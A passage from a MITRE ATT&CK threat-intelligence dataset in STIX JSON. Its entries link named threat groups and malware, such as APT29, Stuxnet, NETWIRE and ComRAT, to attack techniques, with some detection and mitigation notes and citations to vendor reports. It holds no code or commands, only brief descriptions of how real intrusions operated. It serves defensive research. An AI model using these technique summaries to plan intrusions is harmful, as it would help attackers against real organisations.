Buckeye)","relationship_type":"uses","source_ref":"intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3916c36b-bd92-4070-bc9a-6eab3d78cabd","type":"relationship","created":"2021-01-25T13:58:25.136Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CyberBit Dtrack","url":"https://www.cyberbit.com/blog/endpoint-security/dtrack-apt-malware-found-in-nuclear-power-plant/","description":"Hod Gavriel. (2019, November 21). Dtrack: In-depth analysis of APT on a nuclear power plant. Retrieved January 20, 2021."}],"modified":"2021-01-25T13:58:25.136Z","description":"[Dtrack](https://attack.mitre.org/software/S0567) used hard-coded credentials to gain access to a network share.(Citation: CyberBit Dtrack)","relationship_type":"uses","source_ref":"malware--f8774023-8021-4ece-9aca-383ac89d2759","target_ref":"attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--391c4e76-2560-4a05-9024-1e16b4cdd3ae","type":"relationship","created":"2022-03-30T14:26:51.876Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.876Z","description":"File monitoring may be used to detect changes to files in the Web directory of a Web server that do not match with updates to the Web server's content and may indicate implantation of a Web shell script.(Citation: NSA Cyber Mitigating Web Shells)","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NSA Cyber Mitigating Web Shells","description":" NSA Cybersecurity Directorate. (n.d.). Mitigating Web Shells. Retrieved July 22, 2021.","url":"https://github.com/nsacyber/Mitigating-Web-Shells"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3920af52-2820-42e8-a6a8-2182c3a3908a","type":"relationship","created":"2022-03-25T19:34:13.946Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC Nobelium Oct 2021","url":"https://www.microsoft.com/security/blog/2021/10/25/nobelium-targeting-delegated-administrative-privileges-to-facilitate-broader-attacks/","description":"Microsoft Threat Intelligence Center. (2021, October 25). NOBELIUM targeting delegated administrative privileges to facilitate broader attacks. Retrieved March 25, 2022."}],"modified":"2022-03-25T19:34:13.946Z","description":"[APT29](https://attack.mitre.org/groups/G0016) can create new users through Azure AD.(Citation: MSTIC Nobelium Oct 2021)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"attack-pattern--a009cb25-4801-4116-9105-80a91cf15c1b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3921c748-c29e-4c2f-b5cb-bcc7c0237219","created":"2020-12-29T16:20:59.017Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Nicolas Falliere, Liam O Murchu, Eric Chien February 2011","description":"Nicolas Falliere, Liam O Murchu, Eric Chien 2011, February W32.Stuxnet Dossier (Version 1.4) Retrieved. 2017/09/22 ","url":"https://www.wired.com/images_blogs/threatlevel/2011/02/Symantec-Stuxnet-Update-Feb-2011.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-17T17:58:37.381Z","description":"[Stuxnet](https://attack.mitre.org/software/S0603) decrypts resources that are loaded into memory and executed.(Citation: Nicolas Falliere, Liam O Murchu, Eric Chien February 2011)","relationship_type":"uses","source_ref":"malware--088f1d6e-0783-47c6-9923-9c79b2af43d4","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--39221b72-9f98-4434-9de6-139c154b8705","type":"relationship","created":"2020-01-24T19:47:55.649Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-24T19:47:55.649Z","relationship_type":"revoked-by","source_ref":"attack-pattern--1f47e2fd-fa77-4f2f-88ee-e85df308f125","target_ref":"attack-pattern--43881e51-ac74-445b-b4c6-f9f9e9bf23fe","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3922a8b2-5a5d-4822-be22-75f246d56fa4","type":"relationship","created":"2021-06-29T15:39:46.413Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender Naikon April 2021","url":"https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf","description":"Vrabie, V. (2021, April 23). NAIKON – Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021."}],"modified":"2021-06-29T15:55:40.135Z","description":"[RainyDay](https://attack.mitre.org/software/S0629) has named services and scheduled tasks to appear benign including \"ChromeCheck\" and \"googleupdate.\"(Citation: Bitdefender Naikon April 2021)","relationship_type":"uses","source_ref":"malware--29231689-5837-4a7a-aafc-1b65b3f50cc7","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--39266465-987d-46f6-8680-4149a5bfea50","type":"relationship","created":"2019-03-13T14:45:00.237Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellEmpire/Empire","description":"Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.","source_name":"Github PowerShell Empire"}],"modified":"2021-04-09T14:47:00.123Z","description":"[Empire](https://attack.mitre.org/software/S0363) can use New-GPOImmediateTask to modify a GPO that will install and execute a malicious [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053).(Citation: Github PowerShell Empire)","relationship_type":"uses","source_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","target_ref":"attack-pattern--5d2be8b9-d24c-4e98-83bf-2f5f79477163","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--392980d3-6cac-4740-824c-4911ab10f135","type":"relationship","created":"2021-08-18T19:46:16.625Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 Molerat Mar 2020","url":"https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/","description":"Falcone, R., et al. (2020, March 3). Molerats Delivers Spark Backdoor to Government and Telecommunications Organizations. Retrieved December 14, 2020."}],"modified":"2021-08-18T19:46:16.625Z","description":"[Spark](https://attack.mitre.org/software/S0543) has checked the results of the GetKeyboardLayoutList and the language name returned by GetLocaleInfoA to make sure they contain the word “Arabic” before executing.(Citation: Unit42 Molerat Mar 2020)","relationship_type":"uses","source_ref":"malware--03ea629c-517a-41e3-94f8-c7e5368cf8f4","target_ref":"attack-pattern--c1b68a96-3c48-49ea-a6c0-9b27359f9c19","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--392ae34f-3fb7-444b-a5cc-3a1ddcaa96a6","type":"relationship","created":"2019-07-14T21:02:01.401Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.","url":"https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/","source_name":"ESET Turla PowerShell May 2019"}],"modified":"2019-07-14T21:02:01.401Z","description":"[PowerStallion](https://attack.mitre.org/software/S0393) uses PowerShell loops to iteratively check for available commands in its OneDrive C2 server.(Citation: ESET Turla PowerShell May 2019)","relationship_type":"uses","source_ref":"malware--dcac85c1-6485-4790-84f6-de5e6f6b91dd","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--393317c3-7dd7-487c-a2cb-81dfe4333ea3","created":"2021-01-11T21:20:36.247Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Unit 42 NETWIRE April 2020","description":"Duncan, B. (2020, April 3). GuLoader: Malspam Campaign Installing NetWire RAT. Retrieved January 7, 2021.","url":"https://unit42.paloaltonetworks.com/guloader-installing-netwire-rat/"},{"source_name":"FireEye NETWIRE March 2019","description":"Maniath, S. and Kadam P. (2019, March 19). Dissecting a NETWIRE Phishing Campaign's Usage of Process Hollowing. Retrieved January 7, 2021.","url":"https://www.mandiant.com/resources/blog/dissecting-netwire-phishing-campaigns-usage-process-hollowing"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-13T18:16:43.578Z","description":"[NETWIRE](https://attack.mitre.org/software/S0198) has been executed through convincing victims into clicking malicious links.(Citation: FireEye NETWIRE March 2019)(Citation: Unit 42 NETWIRE April 2020)","relationship_type":"uses","source_ref":"malware--2a70812b-f1ef-44db-8578-a496a227aef2","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3933f2fa-9154-4ab4-b9cc-975a1dfbecf5","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.us-cert.gov/ncas/analysis-reports/AR18-165A","description":"US-CERT. (2018, June 14). MAR-10135536-12 – North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.","source_name":"US-CERT TYPEFRAME June 2018"}],"modified":"2019-12-20T14:28:39.530Z","description":"(Citation: US-CERT TYPEFRAME June 2018)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"malware--7ba0fc46-197d-466d-8b9f-f1c64d5d81e5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--393a3ec4-9970-44ab-ae63-1e9c6bed0310","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east","description":"Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.","source_name":"FireEye APT34 Webinar Dec 2017"}],"modified":"2019-09-04T22:55:40.870Z","description":"[OilRig](https://attack.mitre.org/groups/G0049) has used the publicly available tool SoftPerfect Network Scanner as well as a custom tool called GOLDIRONY to conduct network scanning.(Citation: FireEye APT34 Webinar Dec 2017)","relationship_type":"uses","source_ref":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","target_ref":"attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--393a7e7b-0fe7-4b93-920f-fc1b62652c5a","created":"2020-06-16T18:32:29.507Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant M-Trends 2020","description":"Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020.","url":"https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-30T13:28:37.417Z","description":"Limit permissions for deleting new instances in accordance with least privilege. Organizations should limit the number of users within the organization with an IAM role that has administrative privileges, strive to reduce all permanent privileged role assignments, and conduct periodic entitlement reviews on IAM users, roles and policies.(Citation: Mandiant M-Trends 2020)","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--70857657-bd0b-4695-ad3e-b13f92cac1b4","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--393b11b3-cf22-48e0-afb6-e9c05411b400","created":"2022-03-29T17:02:05.205Z","x_mitre_version":"1.0","external_references":[{"source_name":"GitHub SILENTTRINITY Modules July 2019","url":"https://github.com/byt3bl33d3r/SILENTTRINITY/tree/master/silenttrinity/core/teamserver/modules/boo","description":"Salvati, M. (2019, August 6). SILENTTRINITY Modules. Retrieved March 24, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[SILENTTRINITY](https://attack.mitre.org/software/S0692) has the ability to set its window state to hidden.(Citation: GitHub SILENTTRINITY Modules July 2019)","modified":"2022-04-14T16:32:22.010Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"tool--1244e058-fa10-48cb-b484-0bcf671107ae","target_ref":"attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3940a530-9590-4861-8323-4ab3ba5100f7","type":"relationship","created":"2022-03-30T14:26:51.836Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.836Z","description":"Monitor executed commands and arguments that may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--394a227d-585f-48a5-84ac-cc40a0ad80e6","type":"relationship","created":"2021-01-11T19:10:42.748Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Red Canary NETWIRE January 2020","url":"https://redcanary.com/blog/netwire-remote-access-trojan-on-linux/","description":"Lambert, T. (2020, January 29). Intro to Netwire. Retrieved January 7, 2021."}],"modified":"2021-01-11T19:10:42.748Z","description":"[NETWIRE](https://attack.mitre.org/software/S0198) can automatically archive collected data.(Citation: Red Canary NETWIRE January 2020)","relationship_type":"uses","source_ref":"malware--2a70812b-f1ef-44db-8578-a496a227aef2","target_ref":"attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--394d53b3-da1c-44b4-8abf-e1092f34c8be","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos GravityRAT","description":"Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.","url":"https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T02:25:37.189Z","description":"[GravityRAT](https://attack.mitre.org/software/S0237) supports file encryption (AES with the key \"lolomycin2017\").(Citation: Talos GravityRAT)","relationship_type":"uses","source_ref":"malware--1d1fce2f-0db5-402b-9843-4278a0694637","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3951503f-c8e9-4331-834e-df4e4afda5fb","type":"relationship","created":"2020-02-12T14:37:27.502Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-28T16:07:44.901Z","description":"Do not leave RDP accessible from the internet. Enable firewall rules to block RDP traffic between network security zones within a network.","relationship_type":"mitigates","source_ref":"course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c","target_ref":"attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3954c9eb-1916-43ed-ba79-cc40d084c1a0","type":"relationship","created":"2020-11-30T17:05:19.819Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US District Court Indictment GRU Unit 74455 October 2020","url":"https://www.justice.gov/opa/press-release/file/1328521/download","description":"Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."}],"modified":"2020-11-30T17:05:19.819Z","description":"[Sandworm Team](https://attack.mitre.org/groups/G0034) has crafted spearphishing emails with hyperlinks designed to trick unwitting recipients into revealing their account credentials.(Citation: US District Court Indictment GRU Unit 74455 October 2020)","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--2d3f5b3c-54ca-4f4d-bb1f-849346d31230","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--39556624-1c45-4178-bfa4-7a20b254df7e","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"synack 2016 review","description":"Patrick Wardle. (2017, January 1). Mac Malware of 2016. Retrieved September 21, 2018.","url":"https://objective-see.org/blog/blog_0x16.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-10T15:18:40.402Z","description":"[Keydnap](https://attack.mitre.org/software/S0276) uses HTTPS for command and control.(Citation: synack 2016 review)","relationship_type":"uses","source_ref":"malware--4b072c90-bc7a-432b-940e-016fc1c01761","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3957be97-305f-4d42-9978-868cb83918a2","type":"relationship","created":"2020-07-16T15:07:27.128Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET InvisiMole June 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf","description":"Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."}],"modified":"2020-07-16T15:07:27.128Z","description":"[InvisiMole](https://attack.mitre.org/software/S0260) has used TCP to download additional modules.(Citation: ESET InvisiMole June 2020)","relationship_type":"uses","source_ref":"malware--47afe41c-4c08-485e-b062-c3bd209a1cce","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--39590383-ba69-4d8f-9520-e893cd4ebcdf","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.youtube.com/watch?v=fevGZs0EQu8","description":"Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.","source_name":"Mandiant FIN5 GrrCON Oct 2016"}],"modified":"2020-03-19T17:57:01.425Z","description":"[FIN5](https://attack.mitre.org/groups/G0053) scans processes on all victim systems in the environment and uses automated scripts to pull back the results.(Citation: Mandiant FIN5 GrrCON Oct 2016)","relationship_type":"uses","source_ref":"intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022","target_ref":"attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--395cee0e-ee8b-4e90-b2a7-f3a271ef0b1a","created":"2023-04-04T22:52:47.113Z","revoked":false,"external_references":[{"source_name":"SentinelLabs Metador Technical Appendix Sept 2022","description":"SentinelLabs. (2022, September 22). Metador Technical Appendix. Retrieved April 4, 2023.","url":"https://docs.google.com/document/d/1e9ZTW9b71YwFWS_18ZwDAxa-cYbV8q1wUefmKZLYVsA/edit#heading=h.lmnbtht1ikzm"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-04T22:52:47.113Z","description":"[Mafalda](https://attack.mitre.org/software/S1060) can create a remote service, let it run once, and then delete it.(Citation: SentinelLabs Metador Technical Appendix Sept 2022)","relationship_type":"uses","source_ref":"malware--3be1fb7a-0f7e-415e-8e3a-74a80d596e68","target_ref":"attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--395fbd2c-7827-49b3-8121-72d54181f0b1","type":"relationship","created":"2019-01-30T16:39:54.200Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.","url":"https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/","source_name":"PaloAlto CardinalRat Apr 2017"}],"modified":"2019-06-10T18:25:51.763Z","description":"[Cardinal RAT](https://attack.mitre.org/software/S0348) can collect the username from a victim machine.(Citation: PaloAlto CardinalRat Apr 2017)","relationship_type":"uses","source_ref":"malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--396056dc-8657-418c-9c7a-4468878af204","created":"2023-09-25T19:42:15.728Z","revoked":false,"external_references":[{"source_name":"MoustachedBouncer ESET August 2023","description":"Faou, M. (2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. Retrieved September 25, 2023.","url":"https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-25T19:42:15.728Z","description":"[MoustachedBouncer](https://attack.mitre.org/groups/G1019) has used JavaScript to deliver malware hosted on HTML pages.(Citation: MoustachedBouncer ESET August 2023)","relationship_type":"uses","source_ref":"intrusion-set--7251b44b-6072-476c-b8d9-a6e32c355b28","target_ref":"attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--39647c47-c73d-4da7-9b1a-8c67f20c1890","type":"relationship","created":"2020-06-29T03:27:51.065Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET ComRAT May 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf","description":"Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."},{"source_name":"CISA ComRAT Oct 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303a","description":"CISA. (2020, October 29). Malware Analysis Report (AR20-303A). Retrieved December 9, 2020."}],"modified":"2020-12-09T23:26:09.430Z","description":"[ComRAT](https://attack.mitre.org/software/S0126) has injected its orchestrator DLL into explorer.exe. [ComRAT](https://attack.mitre.org/software/S0126) has also injected its communications module into the victim's default browser to make C2 connections appear less suspicious as all network connections will be initiated by the browser process.(Citation: ESET ComRAT May 2020)(Citation: CISA ComRAT Oct 2020)","relationship_type":"uses","source_ref":"malware--da5880b4-f7da-4869-85f2-e0aba84b8565","target_ref":"attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3964d326-01f2-4142-8f41-408f576b53b4","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye Periscope March 2018","description":"FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"}],"modified":"2019-04-25T12:24:57.476Z","description":"(Citation: FireEye Periscope March 2018)","relationship_type":"uses","source_ref":"intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e","target_ref":"tool--64764dc6-a032-495f-8250-1e4c06bdc163","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--39663ad3-549e-4984-a81b-acce5cb02090","type":"relationship","created":"2020-05-14T22:29:26.045Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Sharpshooter December 2018","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-sharpshooter.pdf","description":"Sherstobitoff, R., Malhotra, A., et. al.. (2018, December 18). Operation Sharpshooter Campaign Targets Global Defense, Critical Infrastructure. Retrieved May 14, 2020."}],"modified":"2020-06-30T03:13:38.643Z","description":"[Rising Sun](https://attack.mitre.org/software/S0448) can archive data using RC4 encryption and Base64 encoding prior to exfiltration.(Citation: McAfee Sharpshooter December 